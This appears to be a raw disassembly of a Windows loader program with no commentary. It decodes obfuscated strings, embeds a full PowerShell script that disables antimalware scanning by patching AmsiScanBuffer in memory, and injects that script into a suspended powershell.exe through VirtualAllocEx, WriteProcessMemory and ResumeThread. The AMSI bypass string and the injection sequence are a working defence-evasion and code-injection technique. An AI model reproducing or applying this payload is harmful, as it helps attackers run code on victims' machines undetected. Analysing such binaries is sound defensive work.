je 0x14000ccfd
cmp ebx, 0x80
jae 0x14000cd5f
mov rdi, qword [rsp + 0x70]
cmp rdi, qword [rsp + 0x60]
jne 0x14000cce8
lea rcx, [rsp + 0x60]
call fcn.140012900
mov rax, qword [rsp + 0x68]
mov byte [rax + rdi], bl
inc rdi
mov qword [rsp + 0x70], rdi
jmp 0x14000ca68
cmp ebx, 0x80
jb 0x14000cfee
mov dword [rsp + 0x150], 0
cmp ebx, 0x800
mov qword [rsp + 0xd8], r15
mov eax, ebx
jae 0x14000cd9b
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x150], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x151], bl
mov r15d, 2
jmp 0x14000ce6b
mov edi, 1
mov rsi, qword [rsp + 0xe0]
xor r15d, r15d
jmp 0x14000cf80
mov dword [rsp + 0x150], 0
mov rsi, r15
mov eax, ebx
cmp ebx, 0x800
jae 0x14000cddb
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x150], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x151], bl
mov r15d, 2
jmp 0x14000cef9
cmp ebx, 0x10000
jae 0x14000ce2c
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x150], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x151], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x152], bl
mov r15d, 3
jmp 0x14000ce6b
cmp ebx, 0x10000
jae 0x14000ceba
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x150], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x151], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x152], bl
mov r15d, 3
jmp 0x14000cef9
and ecx, 0x1f
cmp ecx, 2
jae 0x14000cf42
jmp 0x14000cf5f
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x150], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x151], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x152], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x153], bl
mov r15d, 4
mov rax, qword [rsp + 0xa0]
sub rax, qword [rsp + 0x58]
cmp rax, r15
jb 0x14000d181
mov rsi, qword [rsp + 0x58]
mov rax, qword [rsp + 0x98]
lea rcx, [rax + rsi]
mov rdx, rbp
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rsi, r15
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0xb0], rsi
mov r15, qword [rsp + 0xd8]
jmp 0x14000ca68
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x150], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x151], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x152], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x153], bl
mov r15d, 4
mov rax, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
sub rax, rdi
cmp rax, r15
jb 0x14000d1c7
mov rcx, qword [rsp + 0x68]
add rcx, rdi
mov rdx, rbp
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rdi, r15
mov qword [rsp + 0x70], rdi
mov r15, rsi
jmp 0x14000ca68
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp ecx, 2
jb 0x14000cf5f
mov r15, 0xfffffffffffffffe
cmp ecx, 0x20
jb 0x14000cf5f
xor r15d, r15d
cmp ecx, 0x400
setb r15b
or r15, 0xfffffffffffffffc
add r15, rax
mov rsi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xa0]
sub rax, qword [rsp + 0x58]
cmp rax, r15
jb 0x14000d13b
mov r12, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x98]
add rcx, r12
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rsp + 0xb0], r12
test rsi, rsi
je 0x14000cfbd
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x70], 0
mov r15, qword [rsp + 0xd8]
xor r15b, 1
cmp ebx, 0x7f
mov r12, qword [rsp + 0x358]
ja 0x14000d013
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x58], rax
xor edi, edi
mov rax, qword [rsp + 0x58]
cmp rax, qword [rsp + 0xa0]
jne 0x14000ca40
lea rcx, [rsp + 0xa0]
call fcn.140012900
jmp 0x14000ca40
mov dword [rsp + 0x150], 0
mov eax, ebx
cmp ebx, 0x800
jae 0x14000d048
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x150], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x151], bl
mov edi, 2
jmp 0x14000d0be
cmp ebx, 0x10000
jae 0x14000d080
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x150], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x151], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x152], bl
mov edi, 3
jmp 0x14000d0be
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x150], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x151], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x152], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x153], bl
mov edi, 4
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xb0]
mov rdx, rcx
sub rax, rcx
cmp rax, rdi
jb 0x14000d112
mov rax, qword [rsp + 0xa8]
mov rsi, rdx
mov qword [rsp + 0x98], rax
lea rcx, [rax + rdx]
mov rdx, rbp
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0xb0], rsi
xor edi, edi
jmp 0x14000ca68
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0xa0]
mov r8, rdi
call fcn.140043000
mov rdx, qword [rsp + 0xb0]
jmp 0x14000d0d9
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x58]
mov r8, r15
call fcn.140043000
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x58], rax
jmp 0x14000cf80
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x58]
mov r8, r15
call fcn.140043000
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x58], rax
jmp 0x14000ce81
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x60]
mov rdx, rdi
mov r8, r15
call fcn.140043000
mov rdi, qword [rsp + 0x70]
jmp 0x14000cf0f
mov r13, qword [rsp + 0xa0]
mov r14, qword [rsp + 0xa8]
cmp qword [rsp + 0x60], 0
je 0x14000d230
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d230
mov r14d, 1
xor r13d, r13d
mov qword [rsp + 0x58], 0
lea rax, str.ParameterTypesReturnTypeTypeBuilderNativeMethodsLoadLibraryDelegateVirtualProtectDelegateKernel32PtrLoadLibraryPtrVirtualProtectPtrAmsiPtrAmsiScanBufferPtrOldProtect_nfunction_Get_Delegate__n____Param__Type____ParameterTypes___Type__ReturnType__n_____TypeBuilder___AppDomain_::CurrentDomain.DefineDynamicAssembly__n_________New_Object_Reflection.AssemblyName_ReflectedDelegate_____n_________Reflection.Emit.AssemblyBuilderAccess_::Run_.DefineDynamicModule__n________InMemoryModule___False_.DefineType__n________MyDelegateType__Class__Public__Sealed__AnsiClass__AutoClass___MulticastDelegate___n_____TypeBuilder.DefineConstructor_RTSpecialName__HideBySig__Public___n_________Reflection.CallingConventions_::Standard___ParameterTypes_.SetImplementationFlags_Runtime__Managed__n_____TypeBuilder.DefineMethod_Invoke__Public__HideBySig__NewSlot__Virtual___n_________ReturnType___ParameterTypes_.SetImplementationFlags_Runtime__Managed__n____Write_Output__TypeBuilder.CreateType___n_n_NativeMethods____AppDomain_::CurrentDomain.GetAssemblies____Where_Object___n______.GlobalAssemblyCache__and___.Location.Split____1_.Equals_System.dll___n_.GetType_Microsoft.Win32.UnsafeNativeMethods__n_GetProcAddress___NativeMethods.GetMethod_GetProcAddress___n_____Reflection.BindingFlags__Public__Static____Null___n_____Reflection.CallingConventions_::Any_____New_Object_IntPtr_.GetType_____string_____Null__n_LoadLibraryDelegate__Get_Delegate____String____IntPtr___n_VirtualProtectDelegate__Get_Delegate____IntPtr____UIntPtr____UInt32____UInt32_.MakeByRefType_____Bool___n_Kernel32Ptr___NativeMethods.GetMethod_GetModuleHandle_.Invoke__Null_____Object__kernel32.dll____n_LoadLibraryPtr___GetProcAddress.Invoke__Null_____Object__Kernel32Ptr___Object__LoadLibraryA____n_VirtualProtectPtr___GetProcAddress.Invoke__Null_____Object__Kernel32Ptr___Object__VirtualProtect____n_AmsiPtr___Runtime.InteropServices.Marshal_::GetDelegateForFunctionPointer__LoadLibraryPtr___LoadLibraryDelegate_.Invoke_amsi.dll__n_AmsiScanBufferPtr___GetProcAddress.Invoke__Null_____Object__AmsiPtr___Object__AmsiScanBuffer____n_OldProtect__0_n_Runtime.InteropServices.Marshal_::GetDelegateForFunctionPointer__VirtualProtectPtr___VirtualProtectDelegate_.Invoke__AmsiScanBufferPtr___uint32_8__4___ref__OldProtect__n_n_Runtime.InteropServices.Marshal_::Copy__Byte____0xb8__0x57__0x00__0x07__0x80__0xc3___0___AmsiScanBufferPtr__6___n
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 0xe
lea rax, [0x1400470b6]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 0xa
lea rax, [0x1400470c0]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 0xb
lea rax, [0x1400470cb]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 0xd
lea rax, [0x1400462b0]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 0xe
lea rax, [0x1400470d8]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 0x13
lea rax, [0x1400470eb]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 0x16
lea rax, [0x140047101]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 0xb
lea rax, [0x14004710c]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], 0xe
lea rax, [0x14004711a]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 0x11
lea rax, [0x14004712b]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 7
lea rax, [0x140047132]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 0x11
lea rax, [0x140047143]
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], 0xa
xor eax, eax
jmp 0x14000d3c9
mov rax, qword [rsp + 0x3b8]
add qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x460]
cmp rax, 0xd0
mov rcx, qword [rsp + 0x3e8]
je 0x14000dc2d
mov qword [rsp + 0x458], r13
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0x3e8], rcx
mov qword [rsp + 0x450], rcx
mov rcx, qword [rsp + rax + 0x150]
mov qword [rsp + 0x468], rcx
mov rdx, qword [rsp + rax + 0x158]
add rax, 0x10
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
xor r14d, r14d
mov qword [rsp + 0x358], rdx
jmp 0x14000d458
mov qword [rsp + 0x70], rbx
mov eax, 1
mov qword [rsp + 0x3e8], rax
add r14, rdx
add r14, r13
test r14, r14
je 0x14000d486
cmp qword [rsp + 0x58], r14
jbe 0x14000d480
mov rax, qword [rsp + 0xd8]
cmp byte [rax + r14], 0xbf
jg 0x14000d486
jmp 0x14001032b
jne 0x14001032b
mov r8, qword [rsp + 0x58]
sub r8, r14
mov rax, qword [rsp + 0xd8]
add rax, r14
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x98], rax
mov rdx, rax
mov qword [rsp + 0x3b8], r8
mov r9, qword [rsp + 0x468]
call fcn.14001bdf0
test byte [rsp + 0xe0], 1
je 0x14000d620
mov rbp, qword [rsp + 0x118]
mov r8, qword [rsp + 0x128]
mov rax, qword [rsp + 0x140]
lea r11, [rax - 1]
mov rdx, qword [rsp + 0x130]
mov r13, qword [rsp + 0x138]
cmp rbp, 0xffffffffffffffff
je 0x14000d75d
mov r10, qword [rsp + 0x108]
lea rcx, [r10 + r11]
cmp rcx, rdx
jae 0x14000db60
mov rbx, qword [rsp + 0x100]
mov rdi, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xf8]
mov rsi, rax
mov qword [rsp + 0x3e0], r9
sub rsi, r9
mov qword [rsp + 0x3d8], rsi
nop dword [rax]
movzx ecx, byte [r8 + rcx]
bt rbx, rcx
jae 0x14000d5a0
cmp rdi, rbp
mov rsi, rbp
cmova rsi, rdi
lea r9, [r8 + r10]
mov rcx, rsi
nop dword [rax]
cmp rcx, rax
jae 0x14000d5c0
mov r15, rcx
add rcx, r10
cmp rcx, rdx
jae 0x14000ec82
lea rcx, [r15 + 1]
movzx r12d, byte [r13 + r15]
cmp r12b, byte [r9 + r15]
je 0x14000d570
sub r10, rdi
add r10, r15
inc r10
jmp 0x14000d5a3
add r10, rax
xor ebp, ebp
lea rcx, [r10 + r11]
cmp rcx, rdx
jb 0x14000d550
jmp 0x14000db60
mov rcx, rdi
nop word cs:[rax + rax]
cmp rbp, rcx
jae 0x14000d870
dec rcx
cmp rcx, rax
jae 0x14001020b
lea r9, [rcx + r10]
cmp r9, rdx
jae 0x14000f03e
movzx esi, byte [r13 + rcx]
cmp sil, byte [r8 + r9]
je 0x14000d5d0
add r10, qword [rsp + 0x3e0]
mov rbp, qword [rsp + 0x3d8]
lea rcx, [r10 + r11]
cmp rcx, rdx
jb 0x14000d550
jmp 0x14000db60
cmp byte [rsp + 0xfa], 0
jne 0x14000db60
mov r10, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x128]
mov r13, qword [rsp + 0x130]
movzx eax, byte [rsp + 0xf8]
jmp 0x14000d655
xor al, 1
add r10, r8
test r10, r10
je 0x14000d676
cmp r10, r13
jae 0x14000d670
cmp byte [rcx + r10], 0xbf
jg 0x14000d676
jmp 0x140010292
jne 0x140010292
cmp r10, r13
je 0x14000d750
movzx r9d, byte [rcx + r10]
movzx edx, r9b
test dl, dl
jns 0x14000d6f0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + r10 + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x14000d6df
movzx edx, byte [rcx + r10 + 2]
shl r11d, 6
and edx, 0x3f
or edx, r11d
cmp r9b, 0xf0
jb 0x14000d731
movzx r9d, byte [rcx + r10 + 3]
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, r8d
mov edx, r9d
test al, 1
je 0x14000d6f8
jmp 0x14000d870
shl r8d, 6
or r8d, r11d
mov edx, r8d
nop dword [rax]
test al, 1
jne 0x14000d870
mov r8d, 1
cmp edx, 0x80
jb 0x14000d650
mov r8d, 2
cmp edx, 0x800
jb 0x14000d650
cmp edx, 0x10000
mov r8d, 4
sbb r8, 0
jmp 0x14000d650
shl r8d, 0xc
or edx, r8d
test al, 1
je 0x14000d6f8
jmp 0x14000d870
test al, 1
jne 0x14000d873
jmp 0x14000db60
mov r10, qword [rsp + 0x108]
lea r9, [r10 + r11]
cmp r9, rdx
jae 0x14000db60
mov rdi, qword [rsp + 0x100]
mov r15, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x3d8], rcx
lea rcx, [r15 - 1]
lea rsi, [r15 + r13]
dec rsi
mov qword [rsp + 0x3e0], rsi
jmp 0x14000d7c0
add r10, rax
lea r9, [r10 + r11]
cmp r9, rdx
jae 0x14000db60
movzx r9d, byte [r8 + r9]
bt rdi, r9
jae 0x14000d7b0
lea r9, [r8 + r10]
mov rsi, r15
nop word cs:[rax + rax]
cmp rsi, rax
jae 0x14000d810
mov rbx, rsi
add rsi, r10
cmp rsi, rdx
jae 0x1400101f2
lea rsi, [rbx + 1]
movzx ebp, byte [r13 + rbx]
cmp bpl, byte [r9 + rbx]
je 0x14000d7e0
sub r10, r15
add r10, rbx
inc r10
jmp 0x14000d7b3
cmp rcx, rax
jae 0x14000d860
lea r9, [rcx + r10]
mov rbp, qword [rsp + 0x3e0]
mov rbx, r15
nop word cs:[rax + rax]
sub rbx, 1
jb 0x14000d870
cmp r9, rdx
jae 0x14000f03e
movzx esi, byte [rbp]
dec rbp
lea r12, [r9 - 1]
cmp sil, byte [r8 + r9]
mov r9, r12
je 0x14000d830
add r10, qword [rsp + 0x3d8]
jmp 0x14000d7b3
test r15, r15
jne 0x14001020b
nop dword [rax]
mov r13, r10
mov r9, r13
add r9, r14
mov rdx, qword [rsp + 0x98]
jb 0x1400102ac
test r14, r14
je 0x14000d8a6
cmp qword [rsp + 0x58], r14
jbe 0x14000d8a0
cmp byte [rdx], 0xbf
jg 0x14000d8a6
jmp 0x1400102ac
jne 0x1400102ac
test r9, r9
je 0x14000d8d6
cmp r9, qword [rsp + 0x58]
jae 0x14000d8d0
mov rax, qword [rsp + 0xd8]
cmp byte [rax + r9], 0xbf
jg 0x14000d8d6
jmp 0x1400102ac
jne 0x1400102ac
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x70]
sub rax, rbx
cmp rax, r13
jb 0x14000db01
mov rcx, qword [rsp + 0x68]
add rcx, rbx
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add rbx, r13
mov qword [rsp + 0x70], rbx
mov rdx, qword [rsp + 0x358]
test rdx, rdx
js 0x14001031c
je 0x14000d440
movzx eax, byte [0x1400551c8]
xor ecx, ecx
mov r15, rdx
call fcn.14003d410
test rax, rax
je 0x14001034f
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 0
mov ebp, 0x3039
mov qword [rsp + 0x3e8], rax
mov rcx, rax
xor edi, edi
movabs r9, 0x5851f42d4c957f2d
movabs r10, 0x8421084210842109
lea r11, [0x140046fde]
jmp 0x14000d99f
mov rcx, qword [rsp + 0xe8]
mov byte [rcx + rdi], bl
inc rdi
mov qword [rsp + 0xf0], rdi
dec r15
je 0x14000daa0
mov r8, rbp
imul r8, r9
lea rbp, [r8 + 1]
mov rax, rbp
shr rax, 1
mul r10
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
lea rax, [r8 + rdx]
inc rax
movzx ebx, byte [r11 + rax]
test bl, bl
js 0x14000da10
cmp rdi, qword [rsp + 0xe0]
jne 0x14000d980
lea rcx, [rsp + 0xe0]
call fcn.140012900
lea r11, [0x140046fde]
movabs r10, 0x8421084210842109
movabs r9, 0x5851f42d4c957f2d
jmp 0x14000d980
mov rax, qword [rsp + 0xe0]
sub rax, rdi
cmp rax, 1
jbe 0x14000da49
mov eax, ebx
shr al, 6
or al, 0xc0
and bl, 0xbf
mov byte [rcx + rdi], al
mov byte [rcx + rdi + 1], bl
add rdi, 2
mov qword [rsp + 0xf0], rdi
dec r15
jne 0x14000d99f
jmp 0x14000daa0
mov qword [rsp + 0x20], 1
mov r8d, 2
mov r9d, 1
lea rcx, [rsp + 0xe0]
mov rdx, rdi
call fcn.140043000
lea r11, [0x140046fde]
movabs r10, 0x8421084210842109
movabs r9, 0x5851f42d4c957f2d
mov rcx, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
jmp 0x14000da21
mov rbx, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xe8]
mov rax, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
sub rax, rbp
cmp rax, rdi
jb 0x14000db32
mov rcx, qword [rsp + 0x68]
add rcx, rbp
mov rdx, r15
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbp, rdi
mov qword [rsp + 0x70], rbp
test rbx, rbx
je 0x14000daf4
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x358]
jmp 0x14000d452
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x60]
mov rdx, rbx
mov r8, r13
call fcn.140043000
mov rdx, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x70]
jmp 0x14000d8ec
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x60]
mov rdx, rbp
mov r8, rdi
call fcn.140043000
mov rbp, qword [rsp + 0x70]
jmp 0x14000dac2
test r14, r14
mov rdx, qword [rsp + 0x98]
je 0x14000db86
cmp qword [rsp + 0x58], r14
jbe 0x14000db80
cmp byte [rdx], 0xbf
jg 0x14000db86
jmp 0x1400103a6
jne 0x1400103a6
mov r13, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
mov rax, r13
mov qword [rsp + 0x58], r8
sub rax, r8
cmp rax, qword [rsp + 0x3b8]
jb 0x14000dbeb
mov r14, qword [rsp + 0x68]
mov rax, qword [rsp + 0x58]
lea rcx, [r14 + rax]
mov r8, qword [rsp + 0x3b8]
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x458], 0
je 0x14000d3a0
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d3a0
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x3b8]
call fcn.140043000
mov rdx, qword [rsp + 0x98]
mov r13, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x58], rax
jmp 0x14000dba5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x150], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
movdqa xmmword [rsp + 0x170], xmm0
movdqa xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x1b0], 0
mov dword [rsp + 0x150], 0x68
movdqa xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], 0
xor esi, esi
lea r15, [0x140046111]
xor eax, eax
jmp 0x14000dcae
inc rax
rol esi, 0x13
add esi, ecx
cmp rax, 0xc
je 0x14000dd20
movzx r8d, byte [rax + r15]
movzx ecx, r8b
test cl, cl
jns 0x14000dca0
mov edx, ecx
and edx, 0x1f
movzx r9d, byte [rax + r15 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x14000dd07
movzx ecx, byte [rax + r15 + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x14000dd15
movzx r8d, byte [rax + r15 + 3]
add rax, 4
and edx, 7
shl edx, 0x12
shl ecx, 6
and r8d, 0x3f
or r8d, ecx
or r8d, edx
mov ecx, r8d
jmp 0x14000dca3
add rax, 2
shl edx, 6
or edx, r9d
mov ecx, edx
jmp 0x14000dca3
add rax, 3
shl edx, 0xc
or ecx, edx
jmp 0x14000dca3
lea r12, [rsp + 0x3c0]
mov qword [rsp + 0x20], r12
lea rdx, [0x14004611d]
lea rcx, [rsp + 0xe0]
lea r9, [rsp + 0x420]
mov r8d, 0xe
call fcn.140002100
cmp dword [rsp + 0xe0], 1
je 0x1400103af
mov rbx, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x420]
mov ecx, esi
mov rdx, rdi
call fcn.140007740
test rax, rax
je 0x1400103d2
mov r10, rdx
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
lea rdx, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call r10
mov esi, eax
test rbx, rbx
je 0x14000ddf7
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test esi, esi
je 0x14000e106
xor edi, edi
mov rsi, qword [rsp + 0xa0]
xor eax, eax
jmp 0x14000de1e
inc rax
rol edi, 0x13
add edi, ecx
cmp rax, 0xc
je 0x14000de90
movzx r8d, byte [rax + r15]
movzx ecx, r8b
test cl, cl
jns 0x14000de10
mov edx, ecx
and edx, 0x1f
movzx r9d, byte [rax + r15 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x14000de77
movzx ecx, byte [rax + r15 + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x14000de85
movzx r8d, byte [rax + r15 + 3]
add rax, 4
and edx, 7
shl edx, 0x12
shl ecx, 6
and r8d, 0x3f
or r8d, ecx
or r8d, edx
mov ecx, r8d
jmp 0x14000de13
add rax, 2
shl edx, 6
or edx, r9d
mov ecx, edx
jmp 0x14000de13
add rax, 3
shl edx, 0xc
or ecx, edx
jmp 0x14000de13
lea rbp, [rsp + 0x3c0]
mov qword [rsp + 0x20], rbp
lea rdx, [0x140046184]
lea rcx, [rsp + 0xe0]
lea r9, [rsp + 0x420]
mov r8d, 0xe
call fcn.140002100
cmp dword [rsp + 0xe0], 1
je 0x1400103de
mov r12, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xf8]
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x420]
mov ecx, edi
mov rdx, rbx
call fcn.140007740
test rax, rax
je 0x140010401
mov r10, rdx
mov dword [rsp + 0x20], 0x40
mov rcx, rsi
xor edx, edx
mov r8, qword [rsp + 0x58]
mov r9d, 0x1000
call r10
mov rsi, rax
test r12, r12
je 0x14000df3d
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0xa0]
test rsi, rsi
je 0x14000e117
xor ebx, ebx
xor eax, eax
jmp 0x14000df6e
inc rax
rol ebx, 0x13
add ebx, ecx
cmp rax, 0xc
je 0x14000dfe0
movzx r8d, byte [rax + r15]
movzx ecx, r8b
test cl, cl
jns 0x14000df60
mov edx, ecx
and edx, 0x1f
movzx r9d, byte [rax + r15 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x14000dfc7
movzx ecx, byte [rax + r15 + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x14000dfd5
movzx r8d, byte [rax + r15 + 3]
add rax, 4
and edx, 7
shl edx, 0x12
shl ecx, 6
and r8d, 0x3f
or r8d, ecx
or r8d, edx
mov ecx, r8d
jmp 0x14000df63
add rax, 2
shl edx, 6
or edx, r9d
mov ecx, edx
jmp 0x14000df63
add rax, 3
shl edx, 0xc
or ecx, edx
jmp 0x14000df63
lea rbp, [rsp + 0x3c0]
mov qword [rsp + 0x20], rbp
lea rdx, str.WriteProcessMemory
lea rcx, [rsp + 0xe0]
lea r9, [rsp + 0x420]
mov r8d, 0x12
call fcn.140002100
cmp dword [rsp + 0xe0], 1
je 0x140010419
mov r12, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xf8]
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x420]
mov ecx, ebx
mov rdx, r15
call fcn.140007740
test rax, rax
je 0x14001045c
mov r10, rdx
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rsi
mov r8, r14
mov r9, qword [rsp + 0x58]
call r10
mov esi, eax
test r12, r12
je 0x14000e08b
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test esi, esi
je 0x14000e507
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_ResumeThread]
mov rcx, qword [rsp + 0xa0]
cmp eax, 0xffffffff
je 0x14000e64b
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov esi, eax
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x14000e895
test eax, eax
jne 0x14000e0df
call qword [sym.imp.kernel32.dll_GetLastError]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rsi, [0x140046f8e]
mov edi, 0x25
test eax, eax
jne 0x14000e667
jmp 0x14000e661
lea rsi, str.Failed_to_create_PowerShell_process.VirtualAllocEx
mov edi, 0x24
jmp 0x14000e667
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rsi, str.Failed_to_allocate_memory_in_target_process.Failed_to_execute_PowerShell_process.Failed_to_resume_PowerShell_process_thread.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_char___
